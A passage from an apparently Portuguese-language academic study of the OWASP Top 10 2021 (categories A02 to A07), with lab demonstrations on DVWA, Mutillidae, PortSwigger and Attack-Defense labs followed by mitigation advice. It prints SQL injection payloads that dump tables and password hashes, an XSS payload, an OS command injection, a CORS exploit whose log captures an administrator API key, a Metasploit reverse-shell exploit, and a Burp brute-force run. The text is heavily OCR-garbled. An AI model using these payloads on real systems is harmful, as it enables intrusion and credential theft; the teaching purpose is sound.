atacantes, € quanto mais tempo for usada sem alteragcdes, menos segura ela sera,
recomenda-se a geragdo e troca automatizada delas;

Preferir o uso de criptografia autenticada: o uso desta técnica garante, além da
confidencialidade, também a autenticidade;

Garantir a aleatoriedade das chaves geradas;

Evitar o uso de fungdes criptograficas defasadas como MD5 ou SHA-1.

A03:2021 — INJECAO



Terceira vulnerabilidade do OWASP TOP 10 2021.
3.3.1 Descricao

Diferentemente da lista publicada em 2017, a OWASP agrupou as vulnerabilidades
relacionadas a injecao (Cross Site Scripting e SQL injection) em uma Uinica categoria.

No contexto das vulnerabilidades web, essas falhas podem ocorrer quando nao ha um
tratamento adequado do contetido recebido pelos usudrios, por exemplo, em inputs de texto,
permitindo que esse conteudo recebido seja interpretado como instrugdes. Dessa forma, o
usuario pode injetar codigos, queries, comandos etc. a sua livre escolha dentro da aplicagao
atacada.

De acordo com OWASP (2021) os principais tipos de injecao:

® SQOL Injection (SQLi): Ocorre quando a entrada de dados que o usuario tem acesso
executa alguma operagdo SQL diretamente, sem nenhum tratamento prévio, sendo
possivel para o atacante manipular a entrada de texto com comandos definidos por ele,
tendo acesso, por vezes irrestritos, ao banco de dados. Os principais tipos de SOLi sdo:

Union-Based SQL Injection, Error-Based SQL Injection, Time-Based Blind SQL

Injection, Boolean-Based Blind SQOL Injection, Out-of-Band SQL Injection.

o Cross-Site Scripting (XSS): E uma vulnerabilidade que permite ao atacante manipular

o Javascript de uma aplicagdo web, fazendo com que os scripts desenvolvidos por ele

sejam executados nas maquinas de outros usuarios. Dessa forma, ele pode obter

informacdes confidenciais, como um 7oken JWT. Os principais tipos de XSS sdo:

Reflected XSS, Stored XSS, DOM Based XSS.

o OS Command Injection: Semelhante ao SQL injection, mas as entradas de dados
permitem ao atacante acessar diretamente o Shell do servidor da aplicagdo web.

Ela também define uma aplicagdo web como suscetivel a ataques de inje¢do, quando:

o Nao ha a higieniza¢ao adequada dos dados recebidos dos clientes e eles sdo
usados diretamente ou concatenados na consulta;

O Queries dinamicas ndo sao devidamente tratadas e vao diretamente para o
interpretador;

o Quando dados, mesmo que parametrizados, sdo utilizados por métodos que
aceitam dados nao higienizados.

3.3.2 Demonstracgao

Para essas vulnerabilidades utilizou-se o PortSwigger, o Mutillidae e 0 DVWA, com
auxilio da ferramenta Burp Suite.

3.3.2.1 Exemplo 1: SQL Injection (SQLi)

Para este exemplo serd explorado a vulnerabilidade de SQL Injection do tipo
Union-Based SQOL Injection, que se trata de uma falha SQL in-band, ou seja, usa a mesma
entrada de dados tanto para efetuar o ataque quanto para coletar os resultados obtidos.

No DVWA selecionando a aba de SQL Injection (Blind) tem-se uma tela que simula
um sistema para verificar os usudrios cadastrados, mas obtém-se, a priori, apenas informagdes
publicas, como nome e sobrenome referentes ao /D passado.

Contudo, por ndo existir um tratamento do conteudo recebido na caixa de texto, ¢
possivel manipular o resultado obtido através de algumas Queries SQL. Colocando I’ or



'I'="] na caixa de texto obtém-se como resultado as informagdes publicas de todos os
usuarios do sistema.

Mas ainda ¢ possivel explorar mais ainda esta vulnerabilidade, colocando na consulta
o comando ‘UNION SELECT DATABASE(),VERSION()#. Dessa forma ¢ possivel obter
informagdes sobre qual banco de dados e versdo esta sendo utilizada no sistema em questao.

Contudo, ainda existem riscos maiores com uma vulnerabilidade como essas, pois
pelos resultados obtidos verifica-se que o atacante pode ter obtido altos privilégios dentro do
sistema e descobrir informagdes mais sensiveis, como o nome das tabelas. Para testar essa
possibilidade ¢ injetado o comando UNION SELECT NULL, TABLE NAME FROM
INFORMATION SCHEMA.TABLES # obtendo o resultado mostrado na Figura 5.

Figura 5 — Injecdo SOL para obter os nomes das tabelas.

Vulnerability: SQL Injection

User ID |m\

ID: 1 union select null, table_name from information_schema.tables #Zrini\rin\rin
First name: admin
Surname: admin

ID: 1 union select null, table name from information_schema.tables #Zrin\rinirin
First name:
Surname: guestbook

ID: 1 union select null, table_name from information_schema.tables #\r\n\rin\rin
First name:
Surname: users

ID: 1 union select null, table_name from information_schema.tables #\r\n\ri\n\r\n
First name:
Surname: ALL_PLUGINS

ID: 1 union select null, table name from information_schema.tables #\r\n\rin\r\n
First name:
Surname: APPLICABLE_ROLES

ID: 1 union select null, table_name from information_schema.tables #\rin\rin\rin
First name:
Surname: CHARACTER_SETS

Fonte: Autor.

No resultado desta Query pode-se observar a existéncia de uma tabela Users. Através
do comando 'UNION SELECT 1, COLUMN NAME FROM
INFORMATION SCHEMA.COLUMNS WHERE TABLE NAME = char
(117,115,101,114,115)#. Observa-se que o resultado, como mostrado na Figura 6, traz o0 nome
das colunas da tabela users, e dentre as colunas existe a coluna password, que deveria ser
extremamente segura, € nao poderia estar ao alcance de qualquer pessoa.

Figura 6 — Injecao SQOL para obter os nomes das colunas da tabela Users

o)

Vulnerability: SQL Injection

User ID:[17,115,101,114, 115)#| [ Submit |

ID: 'UNION SELECT 1, COLUMN NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§=char(117,115,161,114,115)#
First name: 1
surname: user id

ID: 'UNION SELECT 1, COLUMM_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAM§=char(117,115,161,114,115)#
First name: 1
Surname: first_name

ID: 'UNION SELECT 1, COLUMN NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§=char(117,115,161,114,115)#
First name: 1
Surname: last name

ID: 'UNIOW SELECT 1, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE NAMg=char(117,115,161,114,115)#
First name: L
Surname: user

ID: 'UNION SELECT 1, COLUMN NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§=char(117,115,161,114,115)#
First name: 1
Surname:

ID: 'UNION SELECT 1, COLUMN_NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§=char(117,115,161,114,115)#
First name: 1

Surname: avatar
ID: 'UNION SELECT 1, COLUMM NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§-char(117,115,161,114,115)#
First name: 1

Surname: last login
ID: 'UNION SELECT 1, COLUMN NAME FROM INFORMATION SCHEMA.COLUMNS WHERE TABLE NAM§=char(117,115,6161,114,115)#

First name: 1
Surname: failed login

Fonte: Autor.




Com o comando 'UNION SELECT user, password FROM users# Obtém-se como
resultado a senha dos usudrios cadastrados no sistema, como mostrado na Figura 7. Apesar
das senhas estarem criptografadas, com os processos metodologicos citados na secdo de
Falhas Criptograficas € possivel contornar essa medida.

Figura 7 — Senhas criptografadas obtidas

User ID: [issword FROM users#| | Submit|

I0: 'UNION SELECT user, password FROM users#
First name: admin
Surname:

ID: 'UNION SELECT user, password FROM users#
First name: gerdonb
Surname: e99al8c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 133
Surname: Bd3533d75ae2c3966d7e8d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 8d187d69f5bbed4fcade3de5c71e0edb7

ID: "UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cfo9

Fonte: Autor.

3.3.2.2 Exemplo 2: Cross-Site Scripting (XSS)

Para este exemplo serd explorado a vulnerabilidade de XSS do tipo DOM Based, que
consiste em uma vulnerabilidade presente no Document Object Model (DOM) de uma
aplicacdo web ao invés de estar presente em partes do HTML. Esse ¢ um dos tipos de XSS de
mais dificil detec¢do, pois ndo ¢ possivel identificar o payload na pagina de resposta. Sua
observacdo somente ¢ possivel em tempo de execugdo, ja que a pagina se manterd inalterada
antes, durante e depois do ataque.

Para este exemplo serd usado um laboratério do PORTSWIGGER (2022) que simula
um blog. Nele tem um campo de busca que estd desprotegido e vulneravel a XSS. Quando se
faz uma busca dentro e inspeciona-se o resultado obtém-se o resultado mostrado na Figura 8.

Figura 8§ - Analise do campo de entrada de texto vulneravel.

web-security-academy.net

Congratulations, you solved the labl! W share your skills! | Coninue learming

0 search results for |

earchTerms=I was hacked?">

Fonte: Autor.
O texto passado na busca foi colocado diretamente em uma tag <img>. Entdo,
preenchendo o formulario de busca com "><svg onload=alert('ves')> forga o fechamento da



tag <img> e abre uma outra tag <svg> que possui um script que apresenta uma mensagem

[3 2

yes

Apesar de ser um script que ndo causa danos ao alvo, ele possui potencial para tal. Em
um cenario real onde essa vulnerabilidade fosse aplicada a uma sessao de comentarios, o
script poderia coletar o token dos usudrios autenticados que acessassem a pagina, permitindo
assim que o atacante executasse agdes no nome das vitimas.

Existem situacdes onde essa vulnerabilidade ocorre na propria URL, permitindo que
sejam definidos scripts nela e através de engenharia social ¢ possivel induzir usudrios
desatentos a clicar em links que irdo capturar informagdes confidenciais sigilosamente.

3.3.2.3 Exemplo 3: OS Command Injection

O OS Command Injection (Inje¢do de Comando do Sistema Operacional), também
conhecido como Shell Injection ¢ uma vulnerabilidade que permite ao atacante acessar e
manipular o terminal onde uma aplicacdo web esta hospedada. Esse tipo de vulnerabilidade
geralmente ocorre quando tenta-se usar as fungdes do Sistema Operacional adjacente ao
projeto de maneira desprotegida.

A depender dos niveis de privilégio em que os comandos estdo sendo executados €
possivel que toda estrutura de hospedagem da aplicacdo seja comprometida, pois existe a
possibilidade que o atacante consiga fazer um reverse Shell através das injecdes de comandos.

Para este exemplo serd utilizado o laboratorio Mutillidae II na fungdo DNS Lookup,
ferramenta que inicialmente apenas verifica a origem de determinado DNS.

Contudo, para execucdo deste comando usou-se a funcdo nslookup do sistema
operacional onde o Mutillidae II esta instalado (Linux Mint 21 Cinnamon), mas essa execugao
aconteceu diretamente, sem o tratamento adequado.

Ao adicionar && Is -la, como mostrado na Figura 9, € possivel verificar todo sistema
de arquivos onde o Mutillidae II estd instalado. Se a execucdo estiver em modo sudo ¢
possivel manipular o sistema, podendo criar, excluir, renomear, copiar, mover etc. as pastas e
arquivos do usuario e do sistema operacional, também ¢ possivel que seja criado um reverse
Shell e controlar remotamente mais livremente o sistema em questao.

Figura 9 - OS Command Injection.

HostnameP =

C Results for google.com && 1= 1a )

Fonte: Autor
3.3.3 Mitigacao
Como descrito, as vulnerabilidades de injecdo sdo ocasionadas pelo mau tratamento

dos canais de entrada de dados que o usuario tem acesso, por tanto € necessario reforgar a
seguranga destes meios, OWASP CHEAT SHEET SERIES (2021) recomenda:



Uso de parametrizagdo: mecanismos que facam separagao eficiente de entre os dados e
consultas ou comandos;
Validacao das entradas do usuario:

o Para comandos deve haver uma validacdo de comandos permitidos, de acordo
com privilégios mediante autenticacao;

o Para os argumentos dos comandos devem ser validados de acordo com uma
lista de permissoes que deve ser seguida. Outro fator ¢ a expressao regular
que deve ser definida através de uma lista de caracteres validos, evitando
explicitamente caracteres de escape ou concatenagdo, € tamanho maximo de
String;

Uso de protocolos de redes seguros: As injecdes podem ocorrer ndo somente onde os
usudrios tem acesso livre, o trafego também pode ser manipulado. Usar protocolos
legados, que foram criados em um contexto onde ndao haviam as necessidades de
seguranga atuais, ou mesmo protocolos que ndo sdo destinados para o transporte de
dados nao confiaveis, abre espago para a execugao de injegoes;

Uso de APIs dedicadas: Quando ndo ¢ possivel usar a parametrizacao, se o local em
questdo ird receber obrigatoriamente determinados caracteres que sdo frequentemente
em ataques, APIs sdo solugdes viaveis, pois fazem tratamento das entradas dos
usudrios e evitam que elas cheguem diretamente no interpretador;

Tratar cuidadosamente os caracteres de escape quando ndo for viavel usar APIs,
levando em consideracdo as caracteristicas do interpretador que recebera as entradas
do usuario;

Em relacdo ao XSS, PORTSWIGGER (2022) propde as mesmas praticas supracitadas,

adicionando-se:
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3.4.1

Uso de cabecalhos adequados, como Content-Type e X-Content-Type-Options, como
uma forma de garantia de que as respostas sejam interpretadas da maneira pretendida;
Uso de CSP como uma das ultimas barreiras de seguranga para evitar ou mitigar os
impactos de XSS.

A04: 2021 — DESIGN INSEGURO

Quarta vulnerabilidade do OWASP TOP 10 2021.

Descricao

O Insecure Design ¢ uma nova categoria de vulnerabilidades que foi proposto pela

OWASP (2021). Trata-se de aspectos que antecedem a codificagdo, pois sdo falhas de
Arquitetura e de Design de Software. Muitos produtos sdo inseguros desde a concepgdo de sua
ideia, e essas falhas nao podem ser corrigidas nem mesmo através de uma implementacao
perfeita, pois o projeto em si € inseguro, por ndo terem sido feitas as devidas modelagens de
ameacas.

Essa nova categoria surgiu como um apelo, pois ela permite a existéncia de outras

vulnerabilidades, como por exemplo a suscetibilidade a falhas criptograficas que uma
empresa, que ndo fez um planejamento adequado de como receber, tratar ¢ manipular
informacdes confidenciais de seus usuarios, possa ter. Contudo, ela nao ¢ a raiz de todas as
outras vulnerabilidades, pois o Design Inseguro ¢ diferente de uma Implementagao Insegura.

3.4.2 Demonstracio



Diferentemente das vulnerabilidades ja apresentadas, essa nao possui uma “férmula”
especifica, ela pode ser explorada de diversas maneiras, como por exemplo falhas de injecao,
criptografia, autenticagdo etc. Portanto, para esta vulnerabilidade ndo serdo feitos os
laboratodrios, pois serdo consideradas as 4 principais CWEs propostas pela OWASP 2021
associadas ao Insecure Design, e elas ja foram ou ainda serdo demonstradas neste trabalho,
que sao:

o CWE-209: Geragao de mensagem de erro contendo informagdes confidenciais (A0S5:

2021 - Configuragao insegura);

e (CWE-256: Armazenamento de texto simples de uma senha (A02: 2021 - Falhas
criptograficas);

e CWE-501: Violagdo de Limite de Confianga (AO1: 2021 - Quebra de controle de
acesso);

o (CWE-522: Credenciais Insuficientemente Protegidas (A07: 2021 - Quebra de
identificacdo e autenticagdo).

3.4.3 Mitigaciao

Para que haja um projeto seguro, OWASP (2021) recomenda:

e Projetar um ciclo de vida seguro para o produto a ser desenvolvido;

e Uso de bibliotecas ou componentes de terceiros que atendam aos padrdes de projetos
seguros e com a devida configuracao adaptada ao projeto;

e Modelagem de ameagas: Correta definicdo de ativos, agentes de ameaga,
vulnerabilidades, ameagas, ataque e controle. Também documentando as ameagas
identificadas e as classificando de acordo com rankings, para que as mais criticas
sejam priorizadas em possiveis ataques;

e Integragdo de padrdes de linguagem e controle seguros as users stories;

e Teste de unidade e integracdo para verificar os fluxos previstos como normais e
anormais;

e Separacdo das camadas de rede e de sistema,;

e Limitar o consumo de recursos: Muitas ameagas tornam-se ataques bem sucedidos por
ndo haver um correto relacionamento, deixando o atacante livre para consumir
indefinidamente recursos até efetivar o ataque.

Segundo IMMUNIWEB (2022) além do referido processo, € necessario que haja uma
avaliagdo minuciosa de processos cruciais como autenticacdo, controle de acesso, logica de
negdcios, modelagem de ameacas, etc. em um SDLC.

3.5 A05: 2021 — CONFIGURACAO INSEGURA
Quinta vulnerabilidade do OWASP TOP 10 2021.
3.5.1 Descricao

A configuragdo insegura, ou Security Misconfiguration, ¢ uma vulnerabilidade que
permite ao atacante explorar falhas de configuracdo do ambiente onde a aplicacdo web esta
hospedada ou mesmo falhas de configuracdo da propria aplicagdo. Sendo possivel para o
atacante obter acesso ndo autorizado ou informacgdes privilegiadas, que combinadas com
outras técnicas de invasao possibilitam a concretizagao do ataque.

Estas falhas podem ocorrer pela inexisténcia de configuragdes de seguranga ou uma
ma configuracdo delas, ocasionadas pelo uso de configuracdes padrdes ou quando
configuradas por alguém inexperiente, que ndo usara critérios seguros na hora de defini-la.



tiver:

3.5.2

A OWASP (2021) classifica como vulneravel, dentro desta categoria, se a aplicagdo

Auséncia de configuragdes de seguranca adequadas em qualquer parte da aplicagdo ou
permissoes mal configuradas para servigos hospedados em nuvem;

Ativagdo ou instalacdo de recursos desnecessariamente, por exemplo: portas nao
utilizadas, servicos, paginas, contas ou privilégios elevados para usuarios que nao
necessitam (violagdo do principio do privilégio minimo);

Usuadrio e senha padrio, por exemplo, login: admin, senha: admin ou root.

Mensagens de erro com excesso de informagdes (CWE-209), por exemplo:
display errors do PHP ativo;

Nao ativacdo dos novos recursos de seguranca disponibilizados nas atualiza¢des dos
programas inerentes ou de suporte a aplicagdo, por exemplo: Nao ativar os patches
para OpenSSL disponibilizados nas atualizagdes de firewall;

Ma configuracdo de seguranga no servidor da aplicagdo, por exemplo: bibliotecas ou
banco de dados com valores nao seguros;

Servidor ndo foi configurado para utilizar headers seguros para realizacdo de
requisi¢oes, por exemplo: X-XSS-Protection: 1; mode=block;

Aplicacdo vulneravel ou desatualizado (A06: 2021 - Componentes desatualizados e
vulneraveis).

Demonstracao

Para demonstrar essa vulnerabilidade sera utilizado o laboratério da PORTSWIGGER

(2022) em um ambiente que simula um blog que possui o CORS mal configurado.

Ao interceptar uma requisicao de /ogin com o Burp obtém-se o resultado mostrado na

Figura 10.

Figura 10 — Interceptacdo de tentativa de login
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Fonte: Autor.
Dentro da URL /accountDetails existe uma requisi¢do Ajax que recupera a chave

apikey do usuario. Na resposta a requisicdo ver-se que o blog usa a cabecalho
Access-Control-Allow-Credentials:true, o que pode permitir, de acordo com a configuracao,
um ataque para tentar acessar a apikey do usuario administrador.

Ao mandar a requisicdo para o Burp Repeater pode-se fazer alguns testes, como

adicionar o cabecalho, Origin:http://siteficticio.com em uma nova requisi¢ao. No resultado
dessa requisicdo adulterada verifica-se que o sistema ird aceitar requisicoes de qualquer
origem.

No exploit server € possivel criar um script que serd enviado para o usuario

administrador, através disso sera possivel capturar sua apikey. Para isso, utilizou-se o script
mostrado na Figura 11.



Figura 11 — Script

Fonte: Autor.
Através deste script, por meio do método XMLHttpRequest, ¢ possivel recuperar a

apikey do usuario administrador, mas para tal seria necessario que ele abrisse o link do exploit
estando com sua conta conectada. Este laboratorio simula esse ataque de engenharia social.

Figura 12 - Exploit
CORS vulnerability with basic origin reflection

Back to exploit server Back to lab Submit solution

000 "GET / HTTP/1.1" 200 "User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"

000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"
000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"

000 "GET /deliver-to-victim HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"

000 "GET /exploit/ HTTP/1.1" 200 "User-Agent: Mozillas/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.61 Safari/537.36"

000 "GET /log?key={%20%20%22usernames22:%20%22administrators22,%20%20%22email%22 :%20%22%22 ,%20%20%22ap ikey%22:%20% Fs22,%20%20

000 "GET / HTTP/1.1" 200 "User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"
000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozillas5.@ (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"
000 "POST / HTTP/1.1" 302 "User-Agent: Mozilla/5.@ (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"

Fonte: Autor.

No log do ataque verifica-se como resultado, no trecho em destaque da Figura 12, a

apikey do usuario administrador.

3.5.3 Mitigacao

Falhas de configuracdo sdo decorrentes de erros humanos, seja por negligéncia,

impericia ou descuido, onde os componentes tornam-se vulnerdveis ndo pela sua estrutura,
pois fornecem recursos seguros, mas que ndo sao ativados ou usados adequadamente, como ¢
o caso de ferramentas de depuragdao que acabam indo para o deploy.

OWASP (2021) recomenda:

Protecdo dos ambientes de desenvolvimento: Os ambientes de desenvolvimento,
controle de qualidade e de prote¢do devem ser configurados usando os mesmos
critérios, diferenciando-se apenas pelas credenciais de acesso de cada um deles;

Uso minimo de recursos necessarios: Em diversas tecnologias vém ativados varios
recursos que ndo serdo utilizados, neste caso ¢ recomendavel desativa-los, e manter em
uso somente os recursos de fato serdo utilizados. Neste cendrio também se inclui
portas, servicos, paginas, contas ou privilégios desnecessarios;

Alterar todas as credenciais padroes;

Configuracdo devida do tratamento de erros: Evitar que mensagens de erros revelem
mais que 0 necessario;



e Revisdes periodicas, automaticas e manuais, das configuragdes da aplicagdo: E
necessario rastrear com frequéncia se a aplicag@o ainda esta se comportando de acordo
com o esperado. Neste processo também ¢é necessario que sejam aplicadas as devidas
atualizacdes e patches de seguranga, sendo devidamente configurados quando preciso;

e Uso de cabecalhos de seguranca;

3.6 A06: 2021 — COMPONENTES DESATUALIZADOS E VULNERAVEIS
Sexta vulnerabilidade do OWASP TOP 10 2021.
3.6.1 Descricao

A seguranca de um sistema depende, dentre outros fatores, de constantes atualizagdes
e verificagdes de seguranga dos componentes que o formam, haja vista que novas maneiras de
exploracdo de vulnerabilidades estdo sempre ocorrendo. Os componentes de tecnologias
conhecidas, como linguagens de programacao, frameworks, servidores etc. quando possuem
vulnerabilidades, espalham-se rapidamente dentro das comunidades e varios ataques podem
ser organizados com base nisto. A exploracdo dessa vulnerabilidade geralmente vem
acompanhada de outras técnicas, como a geragdao de mensagens de erro com informagoes
sensiveis, onde pode-se obter dados como tipo e versdo do banco de dados, informagdes do
servidor, linguagens associadas etc. Componentes desatualizados, descontinuados ou com
vulnerabilidades conhecidas ainda n3o corrigidas possibilitam a um atacante explorar os
pontos fracos dessas tecnologias.

Existem vdrias listas disponibilizadas gratuitamente na internet onde ¢ possivel
encontrar os pontos fracos de diversas tecnologias. Essas listas muitas vezes sao atualizadas,
mantidas e/ou reportadas pelas proprias empresas detentoras dos direitos desses produtos,
como ¢ o caso da CVE, onde participam como membros gigantes internacionais do ramo
tecnologico como Google LLC, Meta Platforms, Inc., Microsoft Corporation, Huawei
Technologies e outras 236 empresas. Elas estdo comprometidas em manter, a0 maximo, seus
sistemas seguros para tal reportam os perigos associados aos seus sistemas e de terceiros, com
intuito de informar e manter seus usudrios atualizados e menos suscetiveis a ataques que
podem acontecer pela utilizacdo de componentes vulneraveis.

Segundo a OWASP (2021), dentro desta categoria, uma aplicagdo ¢ vulneravel
quando:

e Desconhece-se a versdo dos componentes que formam a aplicacgdo, tanto do lado do
cliente quanto do lado do servidor;
Os componentes forem desatualizados e/ou sem suporte;
Nao sdo feitas verificagdes de seguranga regularmente;
Mantém-se desatualizada a estrutura que forma a aplicacao;
Nao sdo feitos os devidos testes de compatibilidade quando a aplicagdo ¢ atualizada,
melhorada ou corrigida.

3.6.2 Demonstracgao

Para a demonstracao dessa vulnerabilidade usou-se o laboratorio da Attack-Defense
Online Lab, simulando a invasdao de um servidor que além de mal configurado, permitindo
que sejam expostas informagdes sensiveis do ambiente ao qual a aplicagdo estd funcionando,
utiliza componentes com vulnerabilidades conhecidas.



Inserindo o /P desta pagina na ferramenta Nmap pode-se verificar que as portas 80 e
3306 estdo abertas, portas geralmente associadas aos servicos de http e MySQL
respectivamente.

Retornando a pagina web, ao ver-se que nao ha bloqueio para acessar o arquivo
phpinfo.php bastando coloca-lo ao final da URL. Acessando esse arquivo ver-se que a
aplicacdo usa a extensdao Xdebug v2.2.3, como mostrado na Figura 13.

Através da ferramenta Searchsploit pode-se verificar se hd alguma vulnerabilidade
conhecida nessa extensao Xdebug. Como mostrado na Figura 14, vé-se que ela € vulneravel a
ataques de injecdo (A03: 2021 - Injecdo), mais especificamente OS Command. Com essa
informacdo em maos, através de um Metasploit Framework, o msfconsole, pode-se tentar
explorar esse componente vulneravel. Verificou-se que ele disponibiliza um exploit para o
componente Xdebug. Para tal verifica-se as opgdes disponiveis para o componente vulneravel
em questdo.

Figura 13 - PHPINFO

Registered PHP | https, ftps, compress.zlib, compress.bzip2, php, file. glob, data, http, ftp.
Streams phar. zip

Registered tcp. udp. unix. udg. ssl. sslv3. tis

Stream Socket
Transports

Registered zlib.*, bzip2.*, convert.iconv.*, string.ret13, string.toupper, string.tolower,
Stream Filters string.strip_tags. convert.*, consumed, dechunk

This program makes use of the Zend Scripting Language Engine: Powserad By

Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies :
with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies < )
with Copyright (c) 2002-2013. by Derick Rethans

Fonte: Autor.

Figura 14 - Searchsploit

LxTerminal
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Fonte: Autor.

Para usé-lo precisa-se definir quais sdo o LHOST (Local Host), que ¢ endereco onde
serd inserido o payload, € o RHOST (Remote Host), que ¢ o enderego alvo da exploracao.
Apods a definicdo destas opgdes foi possivel executar o exploit, que obteve sucesso, como
mostrado na Figura 15. Nessa invasdo conseguiu-se acesso a um Shell que controla a estrutura
da aplicagdo, podendo entdo ver e manipular dados e configuragdes sensiveis.



Figura 15 — Exploit do componente Xdebug

msf5 exploit( ) > set RHOST 192.147.231. 3

3

RHOST => 192.147.231.3

msf5 exploit( ) > set LHOST 192.147.231.
2

LHOST => 192.147.231.2

msf5 exploit( ) > exploit

Started r rse TCP handler on 192.147.23 4444
80 - Waiting for client response.
- Receiving r
- Shell might take upto a minute to respond.Pl

Sending payload of 2030 bytes
bytes) to 192 231.
session 1 opened (192.147.231.2:4444 -> 192.147.231
2022-10-31 01:37:36 +0530

Fonte: Autor.
3.6.3 Mitigacao

IMMUNIWEB (2022) segure as seguintes maneiras preventivas:

e (Constante monitoramento: ¢ recomendavel que os desenvolvedores estejam sempre
atentos aos componentes que estdo usando nas aplicagdes, principalmente as
tecnologias vindas de terceiros. Quando um componente parar de receber suporte
deve-se substitui-lo o quanto antes por outro que execute a mesma fung¢do e venha de
uma fonte confidvel, porém com o suporte ainda ativo, € enquanto a substitui¢do nao
for feita devem ser aplicados os devidos patches de seguranca;

e [Estar sempre atualizado de novas vulnerabilidades que surgem, principalmente as
relativas aos componentes mais essenciais da aplicacdo web. Softwares como Black
Duck podem ajudar nesse monitoramento;

e Tentar manter os componentes individuais o mais simples possivel, pois quanto mais
complexos forem mais serd dificil manté-los seguros. Também se recomenda a
remogao de recursos e privilégios desnecessarios;

e O gerenciamento de atualizacdo dos componentes deve estar presente no ciclo de vida
da aplicagdo, estabelecendo prazos de monitoramento, normas de aplicacdo de
atualizacdo e patches e definicdo dos procedimentos para quando novas
vulnerabilidades forem descobertas.

e Uso de Web Application Firewall (WAF) pode ser uma camada a mais de seguranca,
centralizando medidas de controle em um unico local, reduzindo assim as chances de
sucesso em uma invasao e os custos atrelados a prote¢do, contudo ndo deve ser a iinica
barreira de protecdo da aplicagdo.

3.7  A07:2021 — QUEBRA DE IDENTIFICACAO E AUTENTICACAO.

Sétima vulnerabilidade do OWASP TOP 10 2021.
3.7.1 Descricao

Tornou-se um padrao entre as aplicacdes web a disponibilizacdo de sistemas para que
usudrios criem perfis para desfrutarem dos servigos disponibilizados por elas. O padrao mais

adotado atualmente sdo os formuléarios de /ogin e senha, esse mecanismo de autenticagdo ¢
usado por diversas empresas, inclusive Big Techs como o Google LLC e Meta Platforms.



Contudo, a mé configuracdo dos dispositivos de autenticacdo pode permitir uma
invasdo, isso ocorre quando o atacante consegue se passar por outro usuario, burlando os
mecanismos de identificacdo, fazendo-os acreditar que o invasor ¢ realmente quem ele diz ser.

Segundo a OWASP (2021), um sistema de autenticagdo ¢ deficiente quando:

e Permitir a automagao de ataque usando listas de usudrios e/ou senhas validas;

e Permitir ataques do tipo brute force;

e Permitir o uso de credenciais de autenticacdo fracas, como "Passwordl" ou
"admin/admin";

e Utilizar métodos fracos para recuperar credenciais, como a recuperagdo de senhas
baseada em perguntas que s6 o verdadeiro usuario deveria saber como “Qual nome da
sua primeira professora”;

e Usar ou armazenar senhas em texto simples ou com criptografia insuficiente (A02:

2021 — Falhas criptograficas);

Auséncia ou ineficacia de MFA, como o 2FA Google;

Expor os IDs de sessao diretamente na URL;

Reutilizagdo de tokens de sessao;

Nao invalidar fokens de autenticagdo apos logout ou inatividade.

3.7.2 Demonstracio

Para demonstrar essa vulnerabilidade sera utilizado o laboratéorio DVWA. Ele simula
uma etapa de autenticagdo com usuario e senha. Para iniciar o ataque, interceptou-se uma
tentativa de login falha através do Burp.

Verifica-se que ¢ uma solicitagdo do tipo GET, com o0s parametros usernames ¢
password. Entdo, enviando essa requisi¢do para a ferramenta Intruder, pode-se tentar efetuar
um ataque do tipo brute force. Para isso, define-se os parametros como variaveis, que terao
seus valores alternados de acordo com duas wordlists disponibilizadas pela PORTSWIGGER
(2022), com valores comuns para usuarios e senhas.

Apb6s uma sucessdo de tentativas verificou-se que as requisicdes com credenciais
incorretas seguiam o mesmo padrao, todas possuiam tamanho 4666, somente a requisicao
com as credenciais “admin” e “password’ possuia tamanho 4704, sendo justamente a
combinagdo de usudrio e senha do perfil administrador do sistema, como mostrado na figura
16.

Figura 16 — Brute-force com Burp no DVWA

Results  Posions  Payloads  ResourcePool  Options

Filter: Showing all items

Request Payload 1 Payload 2 Status  Erfor Timeo.. Length s Result 61 | Intruder attack

184 info dragon 200 4666 Payload 1 admin
61 admin password 200 4704 Payload 2 password Previous
&7 admin password 200 4704 Status: 200
200 4666 Length: 4704
1 admin 123456 200 4666 Timer: 3
2 test 123456 200 4666
3 guest 123456 200 4666
4 info 123456 200 4666 Pretty Raw Hex Render
5
6

Next

Request Respanse

adm 123456 200 4666 msuusuUS

mysq 123456 200 4666 Setup / Reset DB
Username:

ButeForce | FasSwETE
1 GET /vulnerabilities/brute/?usernane=admin&password=passwordilogin=Login HTTR/L e e | b

2 Host: dvwa CSRF N
3 User-Agent: Mozilla/5.8 (X11; Ubuntu; Linux xB6_64; rv:185.0) Gecko/20100101 Fi [Login |

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,inages File Inclusion

Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3

5 Welcome to the password protected area admin
G Accept-Enceding: gzip, deflate File Upload
7 Connection: close
8 Referer: http://dvwa/vulnerabilities/brute/?username=1234&password=1234&Login=ll Insecure CAPTCHA im
~

Login

=
